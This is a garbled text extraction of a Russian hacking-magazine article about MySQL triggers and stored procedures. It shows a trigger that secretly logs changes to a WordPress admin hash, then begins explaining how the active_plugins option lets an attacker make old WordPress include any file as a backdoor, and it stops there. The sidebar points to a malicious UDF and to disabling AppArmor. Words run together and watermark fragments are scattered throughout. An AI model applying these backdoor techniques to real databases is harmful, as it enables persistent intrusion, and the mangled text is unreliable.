
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ВMySQL5появилосьнесколько существенныхнововведений: поддержкахранимыхпроцедур, функцийитриггеров.Они успешнопозволяютперенести насторонуБДнекоторуючасть выполняемыхдействий,тем самымкрайнеупрощаябизнеслогикуприложения.Ноэтиже возможностиможноиспользовать ивболееинтересныхцелях— протрояниваниибазыданных.

Бэкдор

вБД

ПРОТРОЯНИВАНИЕMYSQL СПОМОЩЬЮ ХРАНИМЫХ ФУНКЦИЙ,ПРОЦЕДУР ИТРИГГЕРОВ

WWW

bit.ly/puA2KI— исходникиядовитой UDF-функциидля MySQL4.

bit.ly/rhl5yM— описаниекомпиляции UDF-функциииз исходников.

bit.ly/rnO25g— отключениефайрвола AppArmor.

bit.ly/4cvqnW—важный списокограниченийдля триггеровихранимых процедур.

bit.ly/cT6S7— установкаиначало

.работысMySQLProxy

bit.ly/p2PfjD—тема

нафорумеRDot, посвященнаятриггерам.

DVD

Нанашемдиске тысможешьнайти

подробноеобучающее видеоковсемописанным встатьепримерам использования триггеров.

ХРАНИМЫЕ ПРОЦЕДУРЫ И ТРИГГЕРЫ

Что представляют собой хранимые процедуры? Это набор SQLинструкций, который компилируется один раз и хранится на сервере. Таким образом, клиентские приложения могут не реализовывать всякий раз одни и те же действия с БД, а просто вызывать соответствующую хранимую процедуру. Причем приложения могут быть написаны даже на разных языках программирования. Хранимые процедуры существенно помогают повысить эффективность работы приложения. Они компилируются — и поэтому исполняется быстрее интерпретируемого SQL-запроса. При их использовании существенно снижается объем пересылаемой между сервером и клиентом информации. Правда, нужно учитывать, что нагрузка на СУБД при этом непременно увеличивается. Оно и понятно: на стороне клиента (приложения) выполняется меньшая часть работы, а на стороне сервера — большая. Помимо непосредственно самих хранимых процедур большинство СУБД поддерживают их разновидность — триггеры. Они автоматически выполняются при наступлении в базе данных определенных событий, например, при выполнении операций INSERT, UPDATE и DELETE. Сегодня мы посмотрим, что использовать их можно не только для непосредственно реализации функционала приложения, но и для того, чтобы отслеживать проникновения в СУБД и наоборот незаметно встроить в базу данных бэкдор.

НЕОБХОДИМОСТЬ ЛОГИРОВАНИЯ

Во время проведения аудита скриптов ИБ-специалисты в основном обращают внимание на то, как хорошо фильтруется пользовательский ввод, а данным из БД они обычно доверяют.

056

ХАКЕР 11 /154/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Бэкдор wв БДClick

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

СозданиеновоготриггеравEMSSQLManager

Учитывая это обстоятельство, нужно либо самому тщательно изучать используемый софт на предмет различного рода атак, либо создать скрытый механизм логирования, который запишет все действия злоумышленника в случае несанкционированного доступа в базу данных и тем самым даст возможность оперативно и четко пофиксить обнаруженную дырку. Логирование играет огромное значение как на этапе разработки приложения, так и на этапе его поддержки. При этом сам сервер MySQL не дает возможности гибкой настройки логирования запросов к БД. Выход — реализовать его самому, при помощи триггеров.

Предположим, что хакер получил прямой доступ в базу популярного блогового движка WordPress. Первое, что захочет сделать злоумышленник, — это почти наверняка смена хэша админского пассворда.

Данное действие позволит спокойно пройти в админку и, при удачном стечении обстоятельств, внедрить свой код в плагины, если они, конечно, доступны для редактирования. Ведь расшифровка хэша админа — занятие малоприятное, так как WP использует достаточно криптостойкий алгоритм для хэширования, таким образом, перебор будет идти крайне медленно.

Предлагаю написать триггер, который будет следить за состоянием хэша и, в случае его изменения, внесет в дополнительную таблицу время изменения, имя пользователя, который менял хэш, и то значение, на которое хэш меняли.

Сначала создадим таблицу, в которую будем писать лог. Здесь очевидно, что наш триггер будет иметь доступ в эту таблицу, а пользователь, который прописан в конфиге вордпресса, доступа к данной таблице иметь не будет и даже не будет догадываться о самом ее существовании:

CREATE TABLE 'wplog' (

'id' INT NOT NULL AUTO_INCREMENT ,

'user' VARCHAR(20) NOT NULL ,

'user_pass' VARCHAR(64) NOT NULL ,

'timestamp' TIMESTAMP NOT NULL ,

PRIMARY KEY ( 'id' )

);

Таблица wplog будет находиться в базе test, а база блога в нашем случае обозначена как wordpress.

Самтриггербудетиметь такойвид:

CREATE TRIGGER 'wp_log' BEFORE UPDATE

ON 'wordpress'.'wp_users'

FOR EACH ROW BEGIN

IF NEW.user_pass!='$P$B9v9rCvKUXneMDBnlvCaO74EtBG77hM' THEN

SET @pass = NEW.user_pass;

INSERT INTO 'test'.'wplog'

SET 'user'= USER(),'user_pass'=@pass;

END IF;

END;

Из кода триггера видно, что он следит за таблицей wp_users и, если кто-то редактирует эту таблицу, меняя установленный хэш админа, в таблицу wplog будут занесены данные об этом изменении. Преимущества такого логирования понятны. Мы следим только за такими местами в базе, которые представляют для нас интерес, и при этом ловим не все запросы, а только потенциально опасные, как бы эти запросы ни были сделаны, напрямую из базы или через какие-либо php-скрипты. Также, если мы правильно распределили права для пользователей сервера MySQL, то злоумышленник, прочитавший конфиг вордпресса и таким образом попавший в базу, никак не сможет определить, что за его действиями тщательно следят. Наличие данного триггера не учитывает тот вариант, когда хакер добавляет нового админа в блог. Правда, добавление админа в вордпрессе — это гораздо

ХАКЕР 11 /154/ 2011

057

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

БЕЗОПАСНОСТЬ VBULLETIN 3

За годы своего существования vBulletin 3 заслужил репутацию очень грамотно написанного форумного движка. Несмотря на то что он является платным продуктом, поисковый запрос «Powered by vBulletin» в Google выдает более 2 миллиардов совпадений, а список выявленных багов (bit.ly/ovMKX1) — всего пару десятков на версию. Тем не менее, и у этого движка есть свои интересные баги, к одному из которых можно отнести раскрытие данных из конфига при отправке специально сформированного поискового запроса. Более подробно об этом баге ты сможешь прочитать по ссылке bit.ly/dBrtaA. Также советую тебе обратить внимание на последние SQL-инъекции

движка, их описание можно найти на известном сайте exploit-db.com.

более сложная операция, чем смена пароля у существующего, так как необходимо внести соответствующие изменения еще и в таблицу wp_usermeta. Конечно, при серьезном подходе к вопросу логирования нежелательных запросов в базе данных следует грамотно ее проанализировать и выявить те ячейки, редактирование которых может привести к серьезным последствиям, а затем попытаться либо исправить это, либо установить за такими ячейками наблюдение. Также хочу дать совет, чтобы при анализе базы данных ты в первую очередь обращал внимание на те ячейки, в которых присутствуют пути к файлам или обрывки PHP-кода.

Размышляя о логировании запросов, не могу не вспомнить и о такой замечательной разработке, как MySQL Proxy. Обычно эту программу применяют при master-slave репликации, что дает воз-

можность прозрачно для клиента проксировать запросы нескольких slave & master серверов. MySQL Proxy также может логировать сами запросы, а затем обрабатывать их. Возможности этого прокси можно довольно сильно расширить с помощью сценариев на языке lua, что предоставит возможность выполнения команд операционной системы с помощью отсылки прокси-запросов с MySQL клиента. Подробнее об этом можно прочитать здесь: bit.ly/rcxQxI.

МестоинклудаплагиноввбазеблоганаWordPress

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ТРОЯНИМ WORDPRESS

Теперь рассмотрим некоторые способы хакерского применения триггеров при установке различных бэкдоров. Для простоты понимания в наших исследованиях мы будем использовать довольно старый WordPress версии 2.5.1. Заглянув в его базу, мы сразу

же наткнемся в таблице wp_options на некие пути к локальным файлам:

active_plugins a:1:{i:0;s:19:"akismet/akismet.php";}

Как уже отмечалось выше, на такие места нужно обращать внимание в первую очередь, а в данном случае — тем более, так как здесь указаны пути к плагинам. Ясно, что посредством аддонов происходит расширение функционала блога, то есть файлы плагинов инклудятся в основное ядро движка. Несложно понять, что происходит это в сценарии ./wp-settings.php. В WP версии 2.5.1 инклуд плагинов происходит следующим образом:

if ( get_option('active_plugins') )

{

$current_plugins = get_option('active_plugins');

if ( is_array($current_plugins) )

{

foreach ($current_plugins as $plugin)

{

if ('' != $plugin && file_exists(

ABSPATH.PLUGINDIR .'/'.$plugin))

include_once(ABSPATH.PLUGINDIR.'/'.$plugin);

}

}

}

Исходя из поверхностного анализа этого кода, становится ясно, что никакого особого контроля при инклуде плагинов разработчики не предусмотрели. Тем самым здесь мы можем с

легкостью прописать путь к любому стороннему файлу. В последующих версиях вордпресса (2.8 и выше) это уже было исправлено путем добавления различных проверок, не дающих провести подключение посторонних файлов. Однако мы рассматриваем

058

ХАКЕР 11 /154/ 2011

Соседние файлы в папке журнал хакер